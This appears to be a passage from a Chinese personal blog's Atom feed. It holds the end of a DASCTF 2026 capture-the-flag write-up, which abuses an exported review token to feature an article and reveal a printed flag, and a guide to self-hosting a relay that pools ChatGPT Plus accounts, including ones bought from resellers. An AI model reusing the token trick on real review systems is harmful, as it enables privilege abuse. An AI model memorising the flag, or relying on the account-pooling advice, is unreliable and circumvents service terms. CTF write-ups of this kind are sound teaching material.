href="#2-reviewer-审核通过" class="headerlink" title="2. reviewer 审核通过"></a>2. reviewer 审核通过</h4><figure class="highlight http"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">POST /api/review/single</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line"></span><br><span class="line">{"article_id":5,"action":"approve"}</span><br></pre></td></tr></tbody></table></figure><h4 id="3-reviewer-导出该文章"><a href="#3-reviewer-导出该文章" class="headerlink" title="3. reviewer 导出该文章"></a>3. reviewer 导出该文章</h4><figure class="highlight http"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">POST /api/export</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line"></span><br><span class="line">{"article_id":5}</span><br></pre></td></tr></tbody></table></figure><p>下载导出文件后得到对应 token，例如：</p><figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Feature-Token: 12d5db4900f7b23051619f2682f51eb58909d5d8861d443ef6f9ce4e3d980880</span><br></pre></td></tr></tbody></table></figure><h4 id="4-用-token-提交精选请求"><a href="#4-用-token-提交精选请求" class="headerlink" title="4. 用 token 提交精选请求"></a>4. 用 token 提交精选请求</h4><figure class="highlight http"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">POST /api/review/feature</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line">  "article_id": 5,</span><br><span class="line">  "signature": "12d5db4900f7b23051619f2682f51eb58909d5d8861d443ef6f9ce4e3d980880"</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>服务端返回：</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span><span class="attr">"message"</span><span class="punctuation">:</span><span class="string">"Feature request submitted for background processing"</span><span class="punctuation">}</span></span><br></pre></td></tr></tbody></table></figure><p>之后轮询：</p><figure class="highlight http"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /api/review/feature/status?article_id=5</span><br></pre></td></tr></tbody></table></figure><p>状态会从：</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span><span class="attr">"status"</span><span class="punctuation">:</span><span class="string">"pending"</span><span class="punctuation">}</span></span><br></pre></td></tr></tbody></table></figure><p>变为：</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span><span class="attr">"status"</span><span class="punctuation">:</span><span class="string">"approved"</span><span class="punctuation">}</span></span><br></pre></td></tr></tbody></table></figure><p>同时首页中该文章会出现：</p><ul><li><code>Featured</code> 标记</li><li><code>article-card featured</code> 样式</li></ul><p>这说明文章作者已经进入 <code>featured_authors</code> 可见级别。</p><h3 id="featured-author-公告拿-flag"><a href="#featured-author-公告拿-flag" class="headerlink" title="featured author 公告拿 flag"></a>featured author 公告拿 flag</h3><p>文章被标记为 featured 后，原作者再访问：</p><figure class="highlight http"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /bulletin</span><br></pre></td></tr></tbody></table></figure><p>即可看到专属公告：</p><figure class="highlight html"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">h3</span>&gt;</span>Featured Author Rewards<span class="tag">&lt;/<span class="name">h3</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span></span><br><span class="line">Congratulations! As a featured author, you have access to exclusive content and the weekly digest reports.</span><br><span class="line">Secret credential: DASCTF{bda61e3f-7154-44c7-abf1-7216a67c03eb}</span><br><span class="line"><span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br></pre></td></tr></tbody></table></figure><p>因此最终 flag 为：</p><figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DASCTF{bda61e3f-7154-44c7-abf1-7216a67c03eb}</span><br></pre></td></tr></tbody></table></figure></body></html>]]>
    </content>
    <id>https://blog.btop251.top/CTF/DASCTF2026/</id>
    <link href="https://blog.btop251.top/CTF/DASCTF2026/"/>
    <published>2026-05-30T00:00:00.000Z</published>
    <summary>dasctf夏季赛，又是ai大人发力了</summary>
    <title>DASCTF2026</title>
    <updated>2026-05-30T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="others" scheme="https://blog.btop251.top/categories/others/"/>
    <category term="tool" scheme="https://blog.btop251.top/tags/tool/"/>
    <category term="ai" scheme="https://blog.btop251.top/tags/ai/"/>
    <content>
      <![CDATA[<html><head></head><body><h1 id="Sub2api搭建中转站管理号池"><a href="#Sub2api搭建中转站管理号池" class="headerlink" title="Sub2api搭建中转站管理号池"></a>Sub2api搭建中转站管理号池</h1><p>之前一直用别人搭建的中转站，一开始用订阅觉得很爽，但是站长觉得麻烦把月卡下了，如果直接充的话就有点不值， ，所以我觉得自己搭中转站管理号池</p><p>号池由两个plus账号和不定时补充的日抛号组成，感谢tang师傅赞助的plus账号</p><h2 id="所需材料"><a href="#所需材料" class="headerlink" title="所需材料"></a>所需材料</h2><p>gpt的plus账号（推荐是自己订阅的，如果不需要稳定也可以去找贩子买日抛号或者订阅号）</p><p>一个gpt提供服务地区的vps（用于部署中转站）</p><h2 id="正式流程"><a href="#正式流程" class="headerlink" title="正式流程"></a>正式流程</h2><h3 id="部署"><a href="#部署" class="headerlink" title="部署"></a>部署</h3><p><a href="https://github.com/Wei-Shaw/sub2api">https://github.com/Wei-Shaw/sub2api</a></p><p>前置命令下载所需要的工具</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update &amp;&amp; <span class="built_in">sudo</span> apt upgrade -y &amp;&amp; <span class="built_in">sudo</span> apt install -y curl git wget apt-transport-https ca-certificates gnupg lsb-release</span><br></pre></td></tr></tbody></table></figure><p>服务器快速部署指令</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">curl -fsSL https://get.docker.com -o get-docker.sh</span><br><span class="line"><span class="built_in">sudo</span> sh get-docker.sh</span><br><span class="line"><span class="built_in">sudo</span> systemctl <span class="built_in">enable</span> --now docker</span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">mkdir</span> -p /opt/sub2api &amp;&amp; <span class="built_in">cd</span> /opt/sub2api</span><br><span class="line">curl -sSL https://raw.githubusercontent.com/Wei-Shaw/sub2api/main/deploy/docker-deploy.sh | bash</span><br><span class="line"><span class="built_in">sudo</span> docker compose up -d</span><br><span class="line"><span class="built_in">sudo</span> docker compose logs -f sub2api</span><br><span class="line"></span><br></pre></td></tr></tbody></table></figure><p>搭建好之后可以通过你的vps的公网ip:8080端口访问</p><p><img src="/others/about_Sub2api/about_Sub2api.assets/001.webp" alt="img" loading="eager" decoding="async"></p><p>打开长这样</p><p>再修改一下登录密码和一些环境变量</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">sed -i <span class="string">'s/^ADMIN_PASSWORD=.*/ADMIN_PASSWORD=your_passwd/'</span> .<span class="built_in">env</span></span><br><span class="line">sed -i <span class="string">'s/^SERVER_PORT=.*/SERVER_PORT=9876/'</span> .<span class="built_in">env</span></span><br><span class="line"></span><br><span class="line">docker compose down &amp;&amp; <span class="built_in">rm</span> -rf data/ postgres_data/ redis_data/</span><br><span class="line">docker compose up -d</span><br><span class="line">admin@sub2api.local\your_passwd</span><br><span class="line"></span><br></pre></td></tr></tbody></table></figure><p>之后就可以在9876端口访问该服务,然后输入你设置的密码和默认admin账号就可以进入管理员后台了</p><h3 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h3><ol><li>配置分组管理</li></ol><p><img src="/others/about_Sub2api/about_Sub2api.assets/image-20260529151948041.png" alt="image-20260529151948041" loading="lazy" decoding="async"></p><p>将号池合并成一个组,这样就可以统一调用,不用等一个号用完了再换号了</p><ol start="2"><li>账号管理</li></ol><p><img src="/others/about_Sub2api/about_Sub2api.assets/image-20260529152132616.png" alt="image-20260529152132616" loading="lazy" decoding="async"></p><p>在此处添加账号,具体办法这个项目会教你</p><p>我懒得写详细过程了,有一点需要注意</p><p><img src="/others/about_Sub2api/about_Sub2api.assets/image-20260529152350350.png" alt="image-20260529152350350" loading="lazy" decoding="async"></p><blockquote><p>在这个页面等待授权连接的时候最好使用的科学上网工具和你的vps在同一个地方,一开始我一直接收不到,换成同一个地方之后就可以了</p></blockquote><ol start="3"><li>(可选)建立订阅分组</li></ol><p><img src="/others/about_Sub2api/about_Sub2api.assets/image-20260529152648598.png" alt="image-20260529152648598" loading="lazy" decoding="async"></p><p>因为我是自己用的,所以直接建立一个可以无限使用的订阅组,然后让自己使用它,就不需要配那些使用限制了</p><p><img src="/others/about_Sub2api/about_Sub2api.assets/image-20260529152957733.png" alt="image-20260529152957733" loading="lazy" decoding="async"></p><p>然后就可以生成api密码使用了,相信用过中转站的都知道该怎么配置</p><h2 id="注意"><a href="#注意" class="headerlink" title="注意"></a>注意</h2><p>如果之前通过别人中转站使用codex的,记得在配置文件中改一下<code>base_url</code>,要不然可能登录不上</p><p>地址大致为</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\lenovo\.codex\config.toml</span><br></pre></td></tr></tbody></table></figure></body></html>]]>
    </content>
    <id>https://blog.btop251.top/others/about_Sub2api/</id>
    <link href="https://blog.btop251.top/others/about_Sub2api/"/>
    <published>2026-05-29T00:00:00.000Z</published>
    <summary>猛猛蹬</summary>
    <title>Sub2api搭建中转站管理号池</title>
    <updated>2026-05-29T00:00:00.000Z</updated>
  </entry>
</feed>
